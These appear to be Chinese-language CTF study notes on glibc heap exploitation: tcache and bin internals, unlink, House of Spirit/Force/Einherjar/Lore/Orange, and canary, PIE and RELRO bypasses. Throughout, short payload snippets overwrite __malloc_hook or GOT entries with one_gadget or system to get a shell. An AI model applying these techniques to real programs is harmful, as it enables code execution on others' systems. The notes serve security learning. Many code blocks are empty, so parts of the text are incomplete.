bin管理
libc2-26之后,加入Tcache(Thread Local Caching)bin,为每个线程创建一个缓存,里面包含了一些小堆块,无须对arena上锁即可以使用。每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,从0x20到0x410大小的chunk释放后都会先行存入到tcache bin中。
1 |
|
每次产生堆都会先产生一个0x250大小的堆块
- 前0x40个字节用于记录每个bins中chunk数量
- 剩下的64条链,每8字节(64*8=0x210)记录一条tcache bin链(从0x20开始到0x410)的开头地址
- 值得注意的是,tcache bin中的fd指针是指向malloc返回的地址,也就是用户数据部分,而不是像fast bin单链表那样fd指针指向chunk头。
释放到unsorted bin方法:
- 先填满对应大小的tcache bin,再释放
- 分配和释放的chunk大于等于0x410字节,注意在释放堆块时要防止堆块和Top chunk合并
在程序malloc时,如果在fastbin,smallbin中找不到对应大小的chunk,就会尝试从unsortedbin链表尾部往回遍历寻找chunk。
- 如果取出来的chunk大小刚好满足,就会直接返回给用户
- 如果比需求长度大,就会切割,剩下的继续放回unsortedbin
- 如果比需求长度小,就会把取出的chunk插入到对应的bin中(smallbin或largebin)
可以将unsortedbin理解为一个中转站,chunk只有在第一次不符合的时候才会被分配到对应的bin。
1 |
|
bins
主要用于索引不同bin的fd和bk。
- 第一个为unsorted bin,这里面的chunk没有进行排序。
- 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。small bins 中每个 chunk 的大小:chunk_size = 2 * SIZE_SZ *index(SIZE_SZ=4(32 位)/8(64位))
- small bins 后面的 bin 被称作 large bins。一共包括 63 个large bin,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致。第一组bin可以存储的 chunk 的大小范围为 [512,512+64)。
根据源码,unsortedbin和smallbin的值保存在0x10偏移处,对应malloc_chunk
结构的fd和bk,因此,smallbin[0x60]的值0x00007ffff7dd1bc8
保存在0x70偏移处。
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000000000 0x0000000000000000 #unsortedbin
0x7ffff7dd1b88 <main_arena+104>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 #0x20
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 #0x30
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 #0x40
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 #0x50
0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 #0x60
0x7ffff7dd1bd8 <main_arena+184>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8 #0x70
unsortedbin采用的遍历顺序是FIFO(Tcache和fastbin是LIFO,其他的bin都是FIFO),即插入的时候插入到unsortedbin的头部,取出的时候从链表尾获取。
先free(chunk0)再free(chunk1),->表示fd:
fastbin:fastbinY[x] = chunk1 -> chunk0-> 0x0
unsortedbin: all = chunk1 -> chunk0 -> 0x7ffff7dd1b78 (main_arena+88)
开启stack canary
- canary 被修改的话,程序就会执行
__stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,通过栈溢出将argv[0]的指针覆盖为要泄漏的指针地址,实现信息泄露(sample:smashes) - 覆盖
__stack_chk_fail
函数的got表地址为system(sample:memory_monsterI,BJDctf-2020) - stack前放置cookie,leak canary,通过printf泄漏,canary一般从00开始,设置偏移从第二位开始printf
开启pie保护
-
由于低12位地址是与libc相同的,因此如果某个地方如果保存着某个libc指针如read(0x250),可以仅覆盖最低位为(0x2b0)将其修改为write调用
-
查找程序中保存已知偏移的函数指针,如sub_B30,通过chunk重叠之类的泄漏方式,打印出函数指针的真实值,减去偏移,即可得code段基地址,通过elf.address设置基地址,余下就是常规操作了。(sample:opm)
1
2
3
4#0000000000000B30 show_chunk_B30 proc near code_base = show_chunk_addr-0xb30 elf.address=code_base #设置基地址 success('atoi_got: '+hex(elf.got['atoi'])) #基于基地址打印某个函数的got地址值
-
利用unsortedbin泄漏main_arena,从而得到libc_base
-
利用栈上返回地址保存着的
__libc_start_main+240
(main函数是通过libc中的__libc_start_main
调用,因此调用链中会保存__libc_start_main
调用main函数的下一条语句,即__libc_start_main+240
),得到libc_base1
2
3
4
5
6
7
8
9.text:00000000004006BD mov rdi, offset main ; main .text:00000000004006C4 call ___libc_start_main #─────────────────────────────────[BACKTRACE]──────────────────────────────── #f5 7f6a7ecbb830 __libc_start_main+240 libc_base = start_main - (libc.symbols['__libc_start_main'] + 240) #240=0xF0 libc_base = start_main - libc.symbols['__libc_start_main_ret'] 因为在libc中两者差0xF0,当libc没有导出__libc_start_main_ret时,可采用__libc_start_main+240的方式: __libc_start_main 20740 __libc_start_main_ret 20830
-
利用fastbin泄漏chunk,从而得到heap_base
劫持程序流方式
利用程序漏洞
- 程序中某些字段保存函数指针,直接覆盖(仅用于有函数指针情形,偶尔使用)
- C++对象的虚函数表指针位于每个对象开始,通过堆溢出覆盖虚函数表为预先控制的shellcode(sample:myzoo-安恒月赛-2018-10)
仅仅开启partial RELRO
- 已知栈地址,覆盖栈上保存的函数返回地址(不常用)
- 覆盖某个函数(如free)的got表值(常用)
开启了FULL RELRO,无法覆盖GOT表
修改__free_hook或者__malloc_hook(sample:stkof)
- 直接任意地址覆盖
1
2
3
4
5malloc_hook = libc_base + libc.symbols['__malloc_hook'] one_gadget = libc_base + 0xf1147 #0xf02a4 also works edit(3, p64(malloc_hook)) edit(0, p64(one_gadget)) # 将malloc_hook改写为one_gadget add(0x100, wait=False) #调用malloc即调用malloc_hook即one_gadget来get shell
- 借助house_of_spirit
注意:__malloc_hook刚好处于main_arena-0x10位置,而
malloc_hook-(0xb10 - 0xaf5 + 0x8 = 0x23)
或0x13
处一般可以伪造出0x7f的fast chunk用于house_of_spirit:0x7f5090e2daf0 <_IO_wide_data_0+304>: 0x00007f5090e2c260 0x0000000000000000 0x7f5090e2db00 <__memalign_hook>: 0x00007f5090aeee20 0x00007f5090aeea00 0x7f5090e2db10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f5090e2db20 <main_arena>: 0x0000000000000000 0x0000000000000000
将块分配到__malloc_hock前,即可以调用修改chunk功能,将__malloc_hook修改为one_gadget。
1
2
3
4
5payload = 'a' * 0x18 + p64(0x7f) + p64(malloc_hook - 0x23) add(0xf8, payload) #1 add(0x68, '') #2 payload = '\0' * 0x13 + p64(one_gadget) add(0x68, payload)
覆盖__malloc_hook,__free_hook
函数返回地址除了可以覆盖为system_addr,还可以借助工具:one_gadget,可以直接调用,而无需传入参数’/bin/sh’,但由于对寄存器或者栈空间有限制,如:[rsp+0x70] == NULL,因此可能需要多试几个:
1 |
|
注意:一般malloc
触发的方式,one_gadgets由于限制条件不满足,执行都不会成功,通过如下方式检验:
pwndbg> p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x7f7c7db082a4 <exec_comm+1140>
或者直接程序打印:one_gadget= 0x7f7c7db082a4
pwndbg> b *0x7f7c7db082a4 #设断点于one_gadget
Breakpoint 1 at 0x7f7c7db082a4: file wordexp.c, line 876.
Breakpoint at 0x7f7c7db082a4
RAX 0x7f7c7db082a4 #rax为RIP,不为NULL,不满足one_gadget1
pwndbg> x/30gx $rsp #检验rsp+0x30/0x50/0x70是否为NULL
因此,需要通过以下两种方式执行one_gadget:(sample:secretgarden-Pwnable.tw)
-
double free使程序出错,利用
malloc_printerr
触发__malloc_hook
-
结合
libc_realloc
和realloc_hook
调整满足one_gadget条件的栈空间。覆盖malloc_hook
到libc_realloc+0x10
跳过某些指令,同时覆盖realloc_hook
到one_gadget,当libc_realloc
执行到realloc_hook
时成功满足one_gadget条件0x7f25e04c5b08 <__realloc_hook>: 0x00007f25e01f12a4 0x00007f25e01856d0(malloc_hook) pwndbg> x/10i 0x00007f25e01856d0 - 0x10 0x7f25e01856c0 <__GI___libc_realloc>: push r15 0x7f25e01856c2 <__GI___libc_realloc+2>: push r14 0x7f25e01856c4 <__GI___libc_realloc+4>: push r13 0x7f25e01856c6 <__GI___libc_realloc+6>: push r12 0x7f25e01856c8 <__GI___libc_realloc+8>: mov r13,rsi 0x7f25e01856cb <__GI___libc_realloc+11>: push rbp 0x7f25e01856cc <__GI___libc_realloc+12>: push rbx 0x7f25e01856cd <__GI___libc_realloc+13>: mov rbx,rdi 0x7f25e01856d0 <__GI___libc_realloc+16>: sub rsp,0x38 #从此处开始,忽略前面压栈操作 0x7f25e01856d4 <__GI___libc_realloc+20>: mov rax,QWORD PTR [rip+0x33f8f5] 断点到one_gadget时使栈满足one_gadget条件: pwndbg> x/20gx $rsp 0x7ffc36cf38f8: 0x00007f25e01858ef 0x000000000000000a 0x7ffc36cf3908: 0xffffffffffffffff 0x0000000005000000 0x7ffc36cf3918: 0x00007ffc36cf3980 0x000055f729d75354 0x7ffc36cf3928: 0x0000000000000000 0x00007ffc36cf3960 #满足gadget2:[rsp+0x30] == NULL 0x7ffc36cf3938: 0x000055f729d74ce0 0x00007ffc00000000 0x7ffc36cf3948: 0x0000000000000000 0x0000000000000000 #满足gadget3:[rsp+0x50] == NULL
libc中有一个全局变量__environ, 储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址(sample:tinypad)
通过本地调试得到libc中environ symbol中存放的地址(环境变量栈地址),记为:stack_env
1 |
|
通过本地调试的调用堆栈得到main返回地址的值:
─────────────────────────────────[BACKTRACE]────────────────────────────────
f0 7f6a7ed92260 __read_nocancel+7
f1 400ed9 _read_n+112
f2 401100 read_until+73
f3 400832 getcmd+92
f4 4009c1 main+350
f5 7f6a7ecbb830 __libc_start_main+240
利用pwndbg查找main返回地址在栈空间的地址:
1 |
|
计算环境变量栈地址和main函数返回地址的距离: 0x7ffce69aa7f8 - 0x7ffce69aa708 = 0xf0 由于每次运行时,两者距离为定值,因此运行时main函数返回地址可以通过运行时环境变量栈地址减两者距离。得到main返回地址后,将其覆盖为one_gadget即可:
1 |
|
伪造vtable或利用FSOP劫持程序流
堆溢出
- 如果chunk中保存着下一个chunk的指针,将其修改为某个函数的GOT值,再通过show chunk功能泄漏
- 布置当前chunk,并溢出伪造下一个chunk的pre_size和size,free下一个chunk时,引起当前chunk unlink。(sample:stkof)
UAF(Use After Free)
原理:由于free后原指针没有置为NULL,可以通过原来指针直接访问
- 可以通过show chunk功能泄漏heap addr
- 如果原来某个字段是函数指针,可以直接覆盖为system指针
House_Of_Spirit
由于_int_malloc 中校验的方法:
1 |
|
只取(unsigned int) (sz),因此size字段只需要保证低32位范围处于0x20-0x80之间的值,高32位不作要求。 可借助pwndbg功能查找fake_fast:
1 |
|
在GOT表附近找错位范围0x20-0x80之间的值(sample:silent)
一般而言,GOT表第一项为: 0x602000: 0x0000000000601e28(address of dynamic) 错位0x602002的低32位为:0x00000060,符合fastbin size范围,因此fake chunk为:0x602002 - 0x8 = 0x601ffa。利用double free fast bin,将第一个chunk的fd设置为fake chunk,当再次malloc时,即分配到fake chunk,一般步骤为:
1 |
|
将GOT表作为块分配使用之后:
- 修改free_got为puts_plt即可以泄漏某个note
- 通过show chunk功能泄漏fake chunk(GOT表)
- 通过edit chunk功能将free_got改为system_addr或者system_plt
在__malloc_hook或__free_hook前面找错位范围0x20-0x80之间的值(sample:baby_heap-2017)
一般而言,__malloc_hook前(0xb10-0xaf5)处可以错位出0x7f,因此fake chunk = malloc_hook - (0xb10 - 0xaf5 + 0x8)
0x7ff583cffaf0 <_IO_wide_data_0+304>: 0x00007ff583cfe260 0x0000000000000000
0x7ff583cffb00 <__memalign_hook>: 0x00007ff5839c0e20 0x00007ff5839c0a00
0x7ff583cffb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
将块分配到__malloc_hock前,即可以调用修改chunk功能,将__malloc_hook修改为one_gadget。
Unlink(sample:silent2,stkof)
- 分配两个0x80(设index为:3和4,主要是为了预留出前面0,1,2用于chunklist-0x18),free第一个,再free第二个的时候,会和第一个合并,分配一个0x80*2 + 0x10= 0x110的fake chunk,则返回之前被free的两个chunk,即第一个chunk的地址。
- 找到chunklist中保存这个chunk的地址一般为:chunklist+0x18,将第一个chunk内容布置为: 0x0,0x81,chunklist+0x18-0x18,chunklist+0x18-0x10…0x80,0x90
- 利用之前没有清空的第二个指针将0x80,0x90再次free(需要程序存在UAF漏洞),此时会将fake chunk布置出来的第一个chunk(0x0,0x80)unlink,即将chunklist+0x18位置内容改写为chunklist+0x18-0x18=chunklist
- 再利用edit chunk(3)功能,将chunklist改写为某个函数(一般为free)的GOT地址
- 再利用edit chunk(0)功能,将该free_got先修改为puts_plt,将另一个chunk改为puts_got,将puts_got泄漏,然后再将free_got改为system_plt或者system_addr。
根据how2heap,fake chunk的值为0x0, 0x81或者:0x0,0x0均可绕过检查,因为检查:
1
(chunksize(P) != prevsize (next_chunk(P)) == False
当fake chunk的size是0,也就是在去找一个chunk的presize的时候,由于P+size=P+0,实际上找到的是fake chunk自身的presize,由于两个都是0,自然就是相等的,参考:how2heap总结-上
附:free进行后向合并(合并低地址的chunk)的代码:
1 |
|
unsortbin泄漏main_arena
- 释放时只释放content,不释放header。可以申请一个大content,然后释放,下一个申请header+content=上一个content,即上一个content会被分割,然后通过下一个content泄漏unsortedbin地址(sample:raisepig)
1
2
3
4add(0x100,'a','0') #4 add(0x100,'b','1')#5 free(4) add(0xd0,'c','3') #6 4 -> 0x30 (0x28) header & 0xe0 (0xd0)
- fastbin为空时,unsortbin的fd和bk指向top chunk地址
- 先分配两个fast chunk,再分配一个非fast chunk,按2->1->3顺序释放:
1
2
3
4
5
6add(0x70) # idx 1 add(0x70) # idx 2 add(0x100) # idx 3 delete(2) # delete idx 2 delete(1) # fastbin: 1->2 delete(3)
会引起chunk 1/2/3均和top chunk合并,chunk1的fd和bk指向top chunk:
0x1461000: 0x0000000000000000 0x0000000000021001 <-1 0x1461010: 0x00007f6abcc3cb78 0x00007f6abcc3cb78 0x1461080: 0x0000000000000080 0x0000000000000080 <-2 0x1461090: 0x0000000000000000 0x0000000000000000 0x1461100: 0x0000000000000000 0x0000000000020f01 <-3 0x1461210: 0x0000000000000000 0x0000000000020df1 <-old top chunk
这个top chunk指针保存在main_arena的0x58(88)偏移处,而main_arena保存在libc的data段中,是全局静态变量,所以偏移是固定的。可以通过以下方式泄漏出来:
- UAF
1
2
3add(0x80) free(0) #此时之前malloc的地址会被写上fd和bk show(0) #利用show chunk功能打印出fd(即top chunk地址)
- 如果原地址free后被置为NULL,则可以通过fastbin和堆溢出,构造一个fast chunk指向这个small chunk,再通过fast chunk泄漏。(sample:baby_heap-2017)
1
2
3
4
5
6
7alloc(0x20) #0 alloc(0x20) #1 alloc(0x20) #2 alloc(0x20) #3 alloc(0x80) #4 free(1) free(2) #fastbin: 2 -> 1
通过堆溢出将fastbin的fd修改指向4,这里用到技巧只覆盖低位,这样就无需知道chunk4的完整地址:
1
2
3
4
5
6
7
8
9
10
11payload = p64(0)*5 + p64(0x31) + p64(0)*5 + p64(0x31) + p8(0xc0) #fake fastbin: 2 -> 4 fill(0, payload) payload = p64(0)*5 + p64(0x31) fill(3, payload) #fake size of 4 to 0x31 alloc(0x20) #new 1 alloc(0x20) #new 2 == 4 payload = p64(0)*5 + p64(0x91) fill(3, payload) #change size of 4 back to 0x91 alloc(0x80) #avoid consolidating the top chunk free(4) #free 4 to unsorted bin dump(2) #since 2 == 4, dump 2 means dumping fd of unsorted bin in 4
- 如果原地址无法打印,可以通过堆溢出覆盖chunk的bk指向某个可以打印的地址,当malloc掉该chunk时,这个可打印地址的fd会被更新为top chunk(参考how2heap的unsorted_bin_attack):
1
2
3
4
5p=malloc(0x80) malloc(0x80) #防止被合并 free(p) p[1] = (unsigned long)(&target_addr-2); malloc(0x80) #target_addr会被写入top chunk指针,将target_addr输出即可
假如输出的top chunk指针为:0x7f74eb3f3b78 (main_arena+88),通过IDA打开libc.so寻找malloc_trim函数:
1 |
|
因此libc_base = 0x7f74eb3f3b78 - 88 - 0x3C4B20 泄漏libc_base后,可以常规采用覆盖free_got为system_addr的方式,也可以将free_hook或malloc_hook覆盖为system_addr
1 |
|
将__free_hook的值改写为system_addr,即可以在调用free时调用system,同理__malloc_hook。
Arbitrary Alloc
观察要控制的__malloc_hook(堆)或者栈上可以错位构造出一个合法的size值的位置,对当前分配的chunk:
1 |
|
Alloc to Stack
栈中如果伪造fake_chunk,设置好fake_chunk的size和fastbin chunk的size相等,劫持fastbin链表中的fd指向该fake_chunk,即可实现fastbin attack时将空间分配到栈上的这个fake_chunk,此时如果可以读入足够多的字节则可以覆盖到栈上的ret address。覆盖字节到read函数的返回地址,不要覆盖到原函数的返回地址,防止触发canary。(sample:secretgarden-Pwnable.tw)
1 |
|
前提:
- 需要泄漏栈地址(通过程序漏洞或者输出libc的
__environ
) - 栈上可以预先布置满足fast_chunk的size字段,一般可以利用readnum功能,因为
atoi(p64(0x7f))=0
,不会影响正常逻辑(smallorange-安恒月赛-2018-12)
NULL byte Off_By_One
覆盖已free chunk的size,使得虚假位置的pre_size被更新:
1 |
|
之后将b1(b)和c依次free,则会导致b开始一直到c末尾的内存合并在一起
1 |
|
会引起b和c合并的关键一步是在free(b)使得c的pre_size被更新为0x210后,通过NULL byte off_by_one将伪造next_chunk(P)的pre_size位置设置在b+0x1f0,使得后面b1和b2的malloc更新pre_size(next_chunk(P))时,更新的位置均在b+0x1f0,而真实的pre_size(c)一直都是0x210。因此当最后free(c)时检查的是c的presize位,会认为前面的0x210都是空闲,于是就错误地将b和c进行了合并,从而实现了b2和d的overlap。
House_Of_Einherjar
覆盖当前chunk的pre_inuse标志为零,让free函数以为上一个chunk已经被free,这就要求了当前chunk的size必须要是0x100的倍数,否则需要保证下一个chunk(P+0x100)的size不为0,要不然会check下一个chunk失败,或者和top chunk进行合并操作的时候失败。
1 |
|
- 在目标地址伪造fake chunk,保证fake chunk的fd/bk指向自己,同时fd_nextsize=0,以绕过unlink检查:
1
2
3
4size_t fake_chunk[6]; fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) 0; //fwd_nextsize
计算当前chunk到fake chunk之间的距离x,将当前chunk的pre_size和fake chunk的size设置为x
1
2
3size_t fake_size = (size_t)((b-sizeof(size_t)2) - (uint8_t)fake_chunk); (size_t)&a[real_a_size-sizeof(size_t)] = fake_size; //pre_size of b fake_chunk[1] = fake_size; //size of fake chunk
free当前chunk即可以引起fake chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置到我们伪造chunk的地址,当再次malloc即可从fake chunk处分配空间
1
2free(b); d = malloc(0x200); //d == fake chunk
和House_Of_Force一样,利用这种方式可以用malloc返回一个任意地址,即使是heap区域之前的地址(一般可以考虑覆盖栈的ret addr或者free_got)。前提是:
- 可以控制目标地址前0x18个字节布置fd/bk/fd_nextsize以绕过unlink检查,除非目标地址刚好有连续两个指针指向自己(现成的fd/bk)。
- 知道当前chunk(即heap地址)用于计算相对距离。
- 类似方法1,在目标地址伪造fake chunk,保证fake chunk的fd/bk指向自己,同时保证fake chunk的size处于small chunk范围,且fakechunk+size处的pre_size==fake chunk的size,即可将unsortedbin伪造到fake chunk(sample:tinypad)
0x602060 <tinypad+32>: 0x0000000000000000 0x0000000000000101 0x602070 <tinypad+48>: 0x0000000000602060 0x0000000000602060 0x602160 <tinypad+288>: 0x0000000000000100 0x0000000002066140 0x1bea020(heap): 0x00000000015e7fc0 0x0000000000000100 <-off_by_one
free(0x1bea020 + 0x10)即引起fake chunk unlink,并且和当前chunk合并:
0x602060 <tinypad+32>: 0x0000000000000000 0x00000000015e80c1 <-和0x1bea020合并 0x602070 <tinypad+48>: 0x00007fc5d7c9db78 0x00007fc5d7c9db78(main_area+88)
对比:方法1直接控制top chunk,因此要求free的chunk必须与top chunk相邻,并且由于fake chunk的size过大,需要覆盖fwd_nextsize为0。而2只控制unsortedbin,因此不要求free的chunk与top chunk相邻,不需要覆盖fwd_nextsize,但是需要保证fakechunk+size处的pre_size==fake chunk的size(即*0x602068 == *0x602160),难度比1更高。
- 覆盖pre_size为上一个chunk的size:
1
(size_t)&a[real_a_size-sizeof(size_t)] = 0x40
伪造上一个chunk的fd和bk指向自己以绕过unlink检查,由于上一个chunk大小处于small chunk范围,无需伪造fd_nextsize:
1
2(size_t)&a[0] = (size_t) a-0x10; // fwd (size_t)&a[1] = (size_t) a-0x10; // bck
由于PREV_INUSE位为0,会认为上一个0x40长度的chunk也是free,free当前chunk会引起上一个chunk unlink(触发unlink attack),并且上一个chunk和当前chunk合并,当再次malloc,可以实现overlap:
1
2free(b) c = malloc(0x130) //c == a,实现c和a的overlap
附unlink时检查fd_nextsize代码:
1 |
|
House_Of_Lore(smallbin malloc伪造)
栈上分配两个数组:
1 |
|
分配victim chunk,并申请一块大内存,防止free时victim chunk被合并:
1 |
|
现在把victim chunk给free掉,它会被放入unsortedbin中。放入unsortedbin之后victim chunk的fd和bk会同时指向unsortedbin的头部:
1 |
|
再申请一个不能被unsortedbin和smallbin响应的malloc。
1 |
|
malloc之后victim chunk将会从unsortedbin转移到smallbin中。同时它的fd和bk也会更新,改为指向smallbin的头部。现在假设发生了溢出改写了victim的bk指针:
1 |
|
因此现在伪造出来的smallbin列表是:buffer_2 -> buffer_1 -> victim,当再次开始malloc small size内存块时:
1 |
|
可以看到stack_buffer_2的bk字段是空着的,那是因为我们这时没有进行信息的泄露,如果泄露出smallbin_head的值并填上去的话,这个链表才算是完整,当然如果没必要的话可以不这样做。尽管之后再针对这个smallbin的malloc会报错。 利用本方法可以通过伪造smallbin,使得下一个chunk分配到目标地址,比如分配到栈上,可以进一步覆盖ret addr。
1 |
|
但这种利用方式的难点在于:需要目标地址上预先布置好fd指向victim chunk,bk指向下一个chunk,下一个chunk的fd指向目标地址。因此,只有在可以控制目标地址少量(至少0x10个字节,需要控制fd和bk)时方可使用(但如果可以控制0x10个字节,优先考虑house_of_spirit的fastbin伪造,毕竟只需要伪造0x4个字节伪造出size即可,仅当分配大小fastbin无法满足时,方考虑本方法)
Overlapping_Chunks
- chunk在被free之后,直接修改size字段,可以将修改后size大小的chunk malloc出来。
1
2
3
4
5
6p1 = malloc(0x100 - 8); p2 = malloc(0x100 - 8); p3 = malloc(0x80 - 8); free(p2); *(p2-1) = 0x181; // we are overwriting the "size" field of chunk p2 p4 = malloc(0x180 - 8); //p4 = p2,并且包含了p3
说明对于unsortedbin,只需要覆盖free chunk的size即可伪造下一次malloc的chunk
- chunk被free之前,通过修改size,然后free,欺骗free函数去修改了下一个chunk的presize字段来强行“合并”堆块。
1
2
3
4
5
6
7p1 = malloc(1000); p2 = malloc(1000); p3 = malloc(1000); p4 = malloc(1000); *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //将p2的size伪造成p2和p3长度之和 free(p2); //p4的pre_size被free修改为:0x7e0,因此堆系统认为此时空闲的空间为p2至p3 p6 = malloc(2000); //p6 = p2,并且包含了p3
House_Of_Force
通过改写top chunk的size来使malloc返回任意地址(top chunk的size系统初始分配为0x21000) 先分配第一个chunk:
1 |
|
现在heap区域就存在了两个chunk一个是p1,一个是top chunk。假设存在堆溢出漏洞可以用一个很大的值来改写top chunk的size,避免等一下申请内存的时候使用mmap来分配:
1 |
|
现在top chunk变得非常大,我们可以malloc一个在此范围内的任何大小的内存而不用调用mmap。接下来malloc一个chunk,使得这个chunk刚好分配到我们想控制的那块区域为止,然后我们就可以malloc出我们想控制的区域了:
1 |
|
比如:我们想要改写的变量位置在0x602060(bss_var),top chunk 的位置在0x127b528,再算上head的大小,我们将要malloc 0xffffffffff386b28 个字节。而此时top chunk已经处在0x602050了,之后再malloc就会返回一个包含我们想要改写的变量的chunk了:
1 |
|
利用这种方式可以用malloc返回一个任意地址,即使是heap区域之前的地址(一般可以考虑覆盖栈的ret addr或者free_got)。前提是:
- 需要有堆溢出或者其他方式可以覆盖top chunk的size
- 需要知道当前chunk(即heap地址)用于计算分配相对长度。
Unsorted_Bin_Attack
- free的chunk超过fastbin的大小(64bit最大为malloc(0x78))时,如果该chunk不和top chunk相邻,无论大小,均会先加入到unsortedbin链表表头,即:head -> new -> old
1
2
3
4a = malloc(0x20) victim = malloc(0x80) c = malloc(0x20) free(victim) //victim的fd,bk均被写入top chunk指针
通过溢出a将victim->bk修改为target_addr-0x10,然后再申请一个smallbin的chunk
1
2victim->bk = target_addr-0x10 malloc(0x80)
由于所申请的chunk处于smallbin所在的范围,先到smallbin查找,但是由于此时smallbin为空,所以会去unsortedbin中找,发现unsortedbin不空,于是把unsortedbin中的最后一个chunk(victim)从列表中删除,并更新其前后chunk的对应指针
1
2unsorted_chunks(av)->bk = victim->bk = target_addr-0x10 (target_addr-0x10)->fd = *(target_addr-0x10+0x10) = unsorted_chunks(av)
可以看出,在将unsortedbin的最后一个chunk拿出来的过程中,victim的fd并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。这里我们可以看到unsortedbin attack确实可以修改任意地址的值,但是所修改成的值unsorted_chunks(av)却不受我们控制,只能确认是一个很大的地址值,因此一般用作:
- 修改循环的次数来使得程序可以执行多次循环
- 修改libc中的global_max_fast(libc-2.23偏移:
0x3C67F8
,libc-2.24偏移:0x3997D0
),使得更大的chunk可以被视为fastbin,修改之后就是fastbin attack了(sample:smallorange-安恒月赛-2018-12) - 泄漏unsorted_chunks(av),详见上文unsortbin泄漏main_arena
- 修改
_IO_list_all
为unsorted_chunks(av),结合修改0x60的smallbin的bk为伪造的IO_FILE_plus结构,触发FSOP(sample:leak-安恒月赛-2018-10)
House_Of_Orange
应用场景:在没有free函数时控制一个释放的堆块(unsortedbin)。
原理:申请当前top chunk尺寸无法满足的大小,使得原来的top chunk被释放并被置入unsortedbin,这样就可以不用free函数的情况下控制unsortedbin。
具体而言,程序开始时即使只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存(默认大小0x21000)分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。我们称这一块连续的内存区域为arena。此外,我们称由主线程申请的内存为main_arena。后续的申请的内存会一直从这个arena中获取,直到空间不足。当arena空间不足时,它可以通过增加brk的方式来增加堆的空间。
程序第一次进行malloc的时候,heap会被分为两块,一块给用户,剩下的那块就是top chunk。其实,所谓的top chunk就是处于当前堆的物理地址最高的chunk。需要注意的是,top chunk的prev_inuse比特位始终为1,否则其前面的chunk就会被合并到top chunk中。后面再申请堆内存的时候,会依次检查fastbin、smallbin、unsortedbin、largebin是否满足分配要求,如果都不符合,会试图使用top chunk。当申请分配的大小超过top chunk大小,会执行sysmalloc来向系统申请更多空间。
对于堆来说,有mmap和brk两种分配方式扩展堆(在main_arena中通过sbrk扩展heap,而在thread_arena中通过mmap分配新的heap)
- brk方式主要是由操作系统提供的brk函数,或glibc库提供的sbrk函数,来增加brk(program break location is the address of the first location beyond the current end of the data region)的大小来向操作系统申请内存。初始时,堆的起始地址start_brk以及堆的当前末尾brk指向同一地址。根据是否开启ASLR,两者的具体位置会有所不同
- 不开启ASLR保护时,start_brk以及brk会指向data/bss 段的结尾
- 开启ASLR保护时,start_brk以及brk也会指向同一位置,只是这个位置是在data/bss段结尾后的随机偏移处
- 通过mmap分配方式来创建独立的匿名映射段。匿名映射的目的主要是可以申请以0填充的内存,并且这块内存仅被调用进程所使用。
- malloc的size不能大于mmp_.mmap_threshold,默认为128K
-
伪造的原top chunk的size需要满足:
- size必须对齐到内存页,现代操作系统以内存页为单位进行内存管理,一般内存页的大小是4k=4×1024=0x1000,因此伪造的size加上当前位置必须对齐到0x1000。比如:当前top chunk是0x602020+0x20fe0=0x623000是对于0x1000(4kb)对齐,因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等对4kb对齐的size:
0x602020: 0x0000000000000000 0x0000000000020fe1
- size要大于MINSIZE(0x10)
- size要小于之后申请的chunk size + MINSIZE(0x10)
- size的prev inuse位必须为1
- size必须对齐到内存页,现代操作系统以内存页为单位进行内存管理,一般内存页的大小是4k=4×1024=0x1000,因此伪造的size加上当前位置必须对齐到0x1000。比如:当前top chunk是0x602020+0x20fe0=0x623000是对于0x1000(4kb)对齐,因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等对4kb对齐的size:
首先通过溢出伪造top chunk的size,需要保证伪造的size加上当前位置对齐到0x1000
1 |
|
原来的top chunk:
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
被覆盖伪造为:
0x602020: 0x0000000000000000 0x0000000000001fe1 <== top chunk
此时,再申请大于伪造size且小于128K的内存
1 |
|
从而引起原来的堆进行brk扩展:
//原有的堆
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] #第一次0x21000
//经过扩展的堆
0x0000000000602000 0x0000000000646000 0x0000000000000000 rw- [heap] #第二次0x22000
我们的申请被分配到0x623010的位置,同时引起原来的top chunk执行_int_free。执行_int_free
与free类似,因此理论上针对free的攻击(如unlink)应该都可以生效?放进bin的chunk会比原来小0x20!
0x602020: 0x0000000000000000 0x0000000000001fc1 #比0x1fe1少0x20
0x602030: 0x00007f01e6f9cb78 0x00007f01e6f9cb78 #unsortedbin
- 如果大小处于fastbin,会优先放进fastbin,但如果下一个申请一个large chunk(大于0x3ff),fastbin会转到smallbin!
1 |
|
- 如果大于fastbin,则放到unsortedbin,当再次分配时由于各个bin中均没有适合的chunk,则会从在unsortedbin中的原top chunk中切割:
1 |
|
切割后的chunk会重新被放回unsortedbin:
unsorted_bins[0]: fw=0x602090, bk=0x602090
→ Chunk(addr=0x6020a0, size=0x1f50, flags=PREV_INUSE)
借助_IO_FILE劫持程序流程
glibc2.23版本利用vtable
